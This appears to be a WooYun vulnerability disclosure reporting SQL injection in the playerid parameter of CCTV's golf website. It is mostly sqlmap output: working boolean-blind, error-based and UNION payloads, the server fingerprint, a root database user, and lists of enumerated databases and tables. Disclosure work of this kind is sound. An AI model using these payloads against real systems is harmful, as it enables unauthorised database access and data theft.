WooYun.org

站点：
http://golf.cctv.com/ 央视泛高尔夫网

以playerid参数为例，其他参数请厂商自查一下
[09:56:39] [INFO] resuming back-end DBMS 'mysql'
[09:56:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: playerid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: do=score&domain=user&matchid=406&playerid=14750 AND 6240=6240
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: do=score&domain=user&matchid=406&playerid=14750 AND (SELECT 3575 FR
OM(SELECT COUNT(*),CONCAT(0x3a6270743a,(SELECT (CASE WHEN (3575=3575) THEN 1 ELS
E 0 END)),0x3a6d78753a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 29 columns
Payload: do=score&domain=user&matchid=406&playerid=14750 LIMIT 1,1 UNION ALL
SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6270743a,0x644e596c4b
54534e4c54,0x3a6d78753a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[09:56:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11
back-end DBMS: MySQL 5.0
[09:56:49] [INFO] fetching current user
current user: '[email protected]'
[09:56:49] [INFO] fetching current database
current database: 'matchnews_sys_dev'
root用户

available databases [18]:
[*] club
[*] dev_1
[*] ecms_bj
[*] fungolf
[*] fungolf_bak
[*] fungolf_new
[*] gold_court
[*] goldcourse
[*] golftravel
[*] information_schema
[*] matchnews_sys_dev
[*] mysql
[*] photo_golf
[*] ppframe
[*] sns
[*] sns_t
[*] t
[*] test
Database: matchnews_sys_dev
[33 tables]
+-------------------------+
| matchnews_album |
| matchnews_album_photo |
| matchnews_attachment |
| matchnews_company |
| matchnews_dscore |
| matchnews_dscore_detail |
| matchnews_focusimg |
| matchnews_group |
| matchnews_group_item |
| matchnews_group_player |
| matchnews_gscore |
| matchnews_gscore_detail |
| matchnews_gscore_lownet |
| matchnews_gscore_team |
| matchnews_jinyan |
| matchnews_match |
| matchnews_message |
| matchnews_module |
| matchnews_news |
| matchnews_player |
| matchnews_result |
| matchnews_result_player |
| matchnews_role |
| matchnews_role_user |
| matchnews_round |
| matchnews_sponsors |
| matchnews_team |
| matchnews_teamscore |
| matchnews_type |
| phome_ecms_player |
| test |
| uchome_score_court |
| uchome_score_par |
+-------------------------+
萝卜

可跨库查询
[09:44:57] [INFO] fetching tables for databases: 'information_schema, inform
n_schema, information_schema, information_schema'
[09:45:06] [INFO] the SQL query used returns 17 entries
[09:45:16] [INFO] retrieved: "information_schema","CHARACTER_SETS"
[09:45:25] [INFO] retrieved: "information_schema","COLLATIONS"
[09:45:35] [INFO] retrieved: "information_schema","COLLATION_CHARACTER_SET_A
[09:45:44] [INFO] retrieved: "information_schema","COLUMNS"
[09:45:53] [INFO] retrieved: "information_schema","COLUMN_PRIVILEGES"
[09:46:03] [INFO] retrieved: "information_schema","KEY_COLUMN_USAGE"
[09:46:12] [INFO] retrieved: "information_schema","PROFILING"
[09:46:21] [INFO] retrieved: "information_schema","ROUTINES"
[09:46:31] [INFO] retrieved: "information_schema","SCHEMATA"
[09:46:40] [INFO] retrieved: "information_schema","SCHEMA_PRIVILEGES"
[09:46:49] [INFO] retrieved: "information_schema","STATISTICS"
[09:47:01] [INFO] retrieved: "information_schema","TABLES"
[09:47:10] [INFO] retrieved: "information_schema","TABLE_CONSTRAINTS"
[09:47:19] [INFO] retrieved: "information_schema","TABLE_PRIVILEGES"
[09:47:29] [INFO] retrieved: "information_schema","TRIGGERS"
[09:48:00] [INFO] retrieved: "information_schema","USER_PRIVILEGES"
[09:48:09] [INFO] retrieved: "information_schema","VIEWS"
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 22604 |
| STATISTICS | 3174 |
| TABLES | 1428 |
| KEY_COLUMN_USAGE | 1408 |
| TABLE_CONSTRAINTS | 1329 |
| USER_PRIVILEGES | 255 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 126 |
| COLLATIONS | 126 |
| SCHEMA_PRIVILEGES | 45 |
| CHARACTER_SETS | 36 |
| SCHEMATA | 18 |
| TABLE_PRIVILEGES | 9 |
+---------------------------------------+---------+
over